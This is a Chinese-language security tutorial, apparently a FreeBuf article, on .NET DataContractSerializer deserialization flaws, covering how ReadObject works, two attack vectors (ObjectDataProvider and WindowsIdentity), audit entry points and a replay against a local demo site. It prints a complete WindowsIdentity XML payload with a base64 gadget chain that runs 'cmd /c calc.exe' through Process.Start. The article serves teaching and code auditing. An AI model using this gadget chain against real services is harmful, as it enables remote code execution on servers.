.NET高级代码审计(第六课) DataContractSerializer反序列化漏洞 – 作者:云影实验室

一、前言

DataContractSerializer类用于序列化和反序列化Windows Communication Foundation (WCF) 消息中发送的数据,用于把CLR数据类型序列化成XML流,它位于命名空间System.Runtime.Serialization,继承于System.Runtime.Serialization.XmlObjectSerializer,在某些场景下开发者使用DataContractSerializer.ReadObject读取了恶意的XML数据就会造成反序列化漏洞,从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

前文回顾:

.NET高级代码审计之XmlSerializer反序列化漏洞

.NET高级代码审计(第二课) Json.Net反序列化漏洞

.NET高级代码审计(第三课)Fastjson反序列化漏洞

.NET高级代码审计(第四课)JavaScriptSerializer反序列化漏洞

.NET高级代码审计(第五课).NET Remoting反序列化漏洞

二、DataContractSerializer序列化

类名使用DataContractAttribute 标记,类成员使用DataMemberAttribute标记,可指定要序列化的属性和字段,下面先来看这个系列课程中经典的一段代码

image.png

TestClass对象定义了三个成员,并实现了一个静态方法ClassMethod启动进程。序列化通过创建对象实例分别给成员赋值

image.png使用DataContractSerializer.WriteObject非常方便的实现.NET对象与XML数据之间的转化,笔者定义TestClass对象,常规下使用WriteObject得到序列化后的XML数据

image.png

三、DataContractSerializer反序列化

3.1 反序列化原理和用法

反序列过程是将XML流或者数据转换为对象,在DataContractSerializer类中创建对象然后调用ReadObject方法实现的

image.png

 首先看DataContractSerializer类的定义,创建实例的时候会带入类型解析器, 

image.png然后在初始化方法 Initialize里将Type类型解析器赋值给成员rootType

image.png反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法,省略一些非核心代码,进入InternalReadObject方法体内

image.pngReadDataContractValue方法体内返回用ReadXmlValue处理后的数据,

image.png从下图可以看出这是一个C#里的虚方法,在用System.Runtime.Serialization.DiagnosticUtility类处理数据的时候通过DataContract.GetClrTypeFullName得到CLR数据类型的全限定名。

image.png下图Demo展示了序列化和反序列化前后的效果

image.png反序列化后得到对象的属性,打印输出成员Name的值。

image.png

3.2 攻击向量—ObjectDataProvider

漏洞的触发点是在于初始化DataContractSerializer类实例时,参数类型解析器type是否可控,也就是说攻击者需要控制重构对象的类型,若可控的情况下并且反序列化了恶意的Xml数据就可以触发反序列化漏洞。笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下《.NET高级代码审计(第一课) XmlSerializer反序列化漏洞》,因为Process.Start之前需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先考虑序列化ProcessStartInfo再来序列化Process类调用StartInfo启动程序,然后需要对其做减法,去掉无关的System.RuntimeType、System.IntPtr窗口句柄数据,下面是国外研究者提供的反序列化Payload

image.png设计的Demo里使用ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml)))反序列化成功弹出计算器。image.png

image.png3.3 攻击向量—WindowsIdentity

第二种攻击方法使用WindowsIdentity类,这个类继承了ClaimsIdentity,并且实现了ISerializable接口,实现这个接口好处是可以控制你想反序列化的数据类型,此外还可以避免用到反射机制从而提高了运行速度。具体有关此类的用法可以看一下《.NET高级代码审计(第二课) Json.Net反序列化漏洞》,下面是国外研究者提供的反序列化Poc

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">
      <System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL</System.Security.ClaimsIdentity.bootstrapContext>
       </WindowsIdentity>
</root>

Demo中的变量替换掉后,在抛出异常之前成功触发计算器,效果如下图

0011.png

四、代码审计

4.1 ReadObject

从代码审计的角度很容易找到漏洞的EntryPoint,通过前面几个小节的知识能发现需要满足一个类型解析器type可控,再传入XML,就可以被反序列化,例如下面的DataContractSerializer类

image.png

五、复盘

1.   使用ObjectDataProvider攻击向量,输入http://localhost:5651/Default Post加载value值

image.png2.    通过ReadObject 反序列化 ,并弹出计算器,网页返回200。

image.png3.   使用WindowsIdentity攻击向量,输入http://localhost:5651/Default Post加载value值,弹出计算器的同时,服务也会挂掉。

image.png最后附上动态效果图

DataContract.gif

六、总结

DataContractSerializer在实际开发中使用频率较高,但因type需可控才能实施攻击,所以攻击成本相对来说较高。最后.NET反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出高质量的.NET反序列化漏洞文章,欢迎大伙持续关注,交流,更多的.NET安全和技巧可关注实验室公众号。

*本文作者:Ivan1ee@360云影实验室,转载请注明来自FreeBuf.COM 

来源:freebuf.com 2019-04-02 11:30:03 by: 云影实验室

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论